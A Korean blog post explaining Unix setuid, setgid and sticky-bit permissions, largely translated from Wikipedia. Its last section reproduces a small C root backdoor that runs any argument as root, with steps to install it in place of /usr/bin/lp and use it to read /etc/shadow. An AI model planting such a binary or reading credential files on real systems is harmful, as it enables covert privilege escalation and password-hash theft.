RadarURL
Skip to content
2015.05.27 18:59

SETUID, SETGID, Sticky Bit

조회 수 952 추천 수 0 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄

setuid: short for set user id

setgid: short for set group id
 
setuid 와 getgid 는 일반 유저가 실행화일의 소유자 또는 그룹의 권한을 이용하여 실행할 수 있도록 하는 유닉스 접근 권한 플래그입니다. 특정 작업을 수행하기 위해서 일시적으로 상승된 권한을 이용하여 프로그램을 실행하기 위해 사용됩니다.
 
setuid on executables
 
이진 실행 화일에 setuid 속성이 있으면, 이 파일을 실행할 수 있는 권한을 가진 일반 유저가 생성된 프로세스 내에서 파일을 소유하고 있는 사용자 (일반적으로 root) 의 권한을 얻게 된다. 프로세스 내에서 루트 권한을 가지게 되면, 그 애플리케이션은 일반적인 사용자에게는 제한된 시스템의 기능을 수행할 수 있다.
 
사용자가 ptrace, LD_LIBRARY_PATH, 또는 시그널을 보내는 등의 방법을 사용하여 아무렇게나 새로운 프로세스를 변경하려는 시도는 시스템에 의해 금지될 것이다. 보안 결함으로 인해, 많은 OS 들이 실행가능한 셀 스크립트에 setuid 속성이 적용되어 있는 경우 이를 무시하고 있다.
 
setuid 기능이 여러 방면에 아주 유용한 반면에, 주의깊게 설계되지 않은 실행가능한 프로그램에 setuid 속성이 할당되어 있다면, 보안 리스크를 노출할 수 있다. 영구적인 상승 권한을 얻기 위해, 또는 의도적으로 트로잔 목마(trojan horse) 프로그램을 실행하기 위해 결함이 있는 프로그램의 취약성을 이용할 수 있다. 
 
setgid 속성은 setuid 속성이 사용자 기반 권한을 변경하는 것과 같이, 그룹 기반 권한을 변경할 수 있다.
 
setuid 와 setgid 비트는 보통 chmod 명령어를 이용하여 설정되고 최상위 값을 4 (setuid) 또는  2 (setgid) 로 설정한다. 'chmod 6711' 는 setuid 와 setgid 비트를 설정하고 파일 소유자는 read/write/executable 권한을, 그리고 그룹과 others는 executable 권한을 가지도록 한다. 모든 chmod 플래그는 8진수이고 최상위 8진수의 최하위 비트는 sticky bit 라고 알려진 특수한 모드에 사용된다. ('chmod 1755 temp' 와 같이 1이 sticky bit 를 설정한다.)
 
setuid and setgid on directories
 
setuid 와 setgid 플래그가 디렉토리에 대해서 설정될 때는 완전히 다른 의미를 가지게 된다.
 
디렉토리에 setgid 를 설정하는 것 (chmod g+s) 은 그 디렉토리 내에서 생성되는 새로운 파일과 서브 디렉토리가 그 파일을 생성한 사용자의 주 groupID(primary groudID) 대신 setgid 가 설정된 디렉토리의 groupID 를 상속하도록 한다. 새로 생성된 서브 디렉토리는 setgid 비트를 상속한다. 디렉토리에 setgid 권한을 설정하는 것은 setgid 비트가 설정된 이후에 새로 생성된 파일과 서브디렉토리에만 영향을 미친다는 것을 명심해야 한다. 
 
Security
 
이 비트를 사용하는 프로그램은 buffer overrun attack 에 당하지 않도록 주의깊게 설계되어야 한다. 
 
Sticky bit
 
- 모든 사용자가 읽고, 쓰고, 실행이 가능하다
- 단, sticky bit 퍼미션이 적용된 디렉토리에서는 누구나 파일을 쓰고 실행할 수 있지만, 파일 삭제는 오직 owner 만 할 수 있다.
- 나머지는 사용자의 퍼미션 값에 실행의 값인 'x'가 아닌 't' 기호가 대신 명시된다.
- 예)'chmod 1755 temp'
 
이상은 위키피디아를 번역한 내용에에 stick bit 내용만 조금 추가한 것입니다. 
 
아래는 보안 관련 카페에 게재된 소스이며 읽기 권한이 없는 경우에도 임시적으로 setuid 권한 (root 권한)을 가지고 읽을 수 있는 순간적인 권한 상승을 악용한 내용입니다.
 
main(int argc, char * argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);

    sprintf(exec, argv[1]);
    system(exec);
}
 
1. 소스 컴파일 
# gcc set.c -o lp
 
2. 권한 변경
# chmod 4777 lp
 
3. /usr/bin/lp 삭제
 
4. 컴파일된 lp 를 /usr/bin 로 복사
 
5. 해당 프로그램을 이용하여 shadow 파일 읽기
# /usr/bin/lp "cat /etc/shadow"
 
 
위 방법은 루팅된 안드로이드폰에서 su 권한을 가지도록 하는 프로그램에서도 동일하게 사용되었습니다. 아래의 superuser.zip 파일 안에 su.c 코드를 살펴보면 위와 동일하게 구현되어 있습니다. 앞단에 su 권한을 부여할 프로세스 관리를 위한 android activity 를 실행하는 것 외에는 말이죠.
 
 

 

참고

 

출처 : http://codemuri.tistory.com/entry/SETUID-SETGID-Sticky-Bit

TAG •
?

List of Articles
번호 제목 글쓴이 날짜 조회 수
42 MRTG 구축 JAESOO 2014.12.26 558
41 Using MRTG on Debian Stable (Sarge) JAESOO 2014.12.26 601
40 [CentOS] MRTG를 설치하여 서버의 대역폭을 기록하자 JAESOO 2014.12.26 801
39 SNMP 를 설정해 보자 (CentOS 5.6) JAESOO 2014.12.26 1252
38 CentOS5 MRTG서버 트래픽 모니터링 JAESOO 2014.12.26 912
37 리눅스 logrotate를 활용한 로그 관리 (compress, lotate) JAESOO 2015.01.13 1138
36 리눅스 로그파일관리 (logrotate) JAESOO 2015.01.13 703
35 데비안 리눅스 로그 관리 JAESOO 2015.01.13 669
34 아파치서버 동시접속자수에 따른 메모리 산정 (대략) JAESOO 2015.01.13 1588
33 리눅스(Linux)에서 하위 디렉토리까지 파일 찾기, 찾아서 지우기 JAESOO 2015.02.24 1199
32 ls - 파일리스팅 (접근, 수정, 속성변경 시간별 정렬 등) JAESOO 2015.02.24 749
31 톰캣(Tomcat) 실시간 로그보기 JAESOO 2015.04.13 1043
30 Tomcat 무분별하게 catalina.out 크기 커지는것 막기 JAESOO 2015.04.13 3129
» SETUID, SETGID, Sticky Bit JAESOO 2015.05.27 952
28 특별한 퍼미션 setuid setgid sticky bit JAESOO 2015.05.27 533
27 SetUid와 SetGid JAESOO 2015.05.27 545
26 좀비 프로세스 찾기, 죽이기 JAESOO 2015.05.27 879
25 cpulimit - cpu 사용량을 정한다. JAESOO 2015.08.24 554
24 [AIX] Filesystem 사이즈 조절하기 JAESOO 2016.01.23 510
23 AIX에서 논리적 볼륨 크기 확장 JAESOO 2016.01.28 510
Board Pagination Prev 1 2 3 4 5 6 7 8 9 Next
/ 9

PageViews   Today : 3303 Yesterday : 2394 Total : 21716961  /  Counter Status   Today : 889 Yesterday : 1232 Total : 1143031

Edited by JAESOO

sketchbook5, 스케치북5

sketchbook5, 스케치북5

나눔글꼴 설치 안내


이 PC에는 나눔글꼴이 설치되어 있지 않습니다.

이 사이트를 나눔글꼴로 보기 위해서는
나눔글꼴을 설치해야 합니다.

설치 취소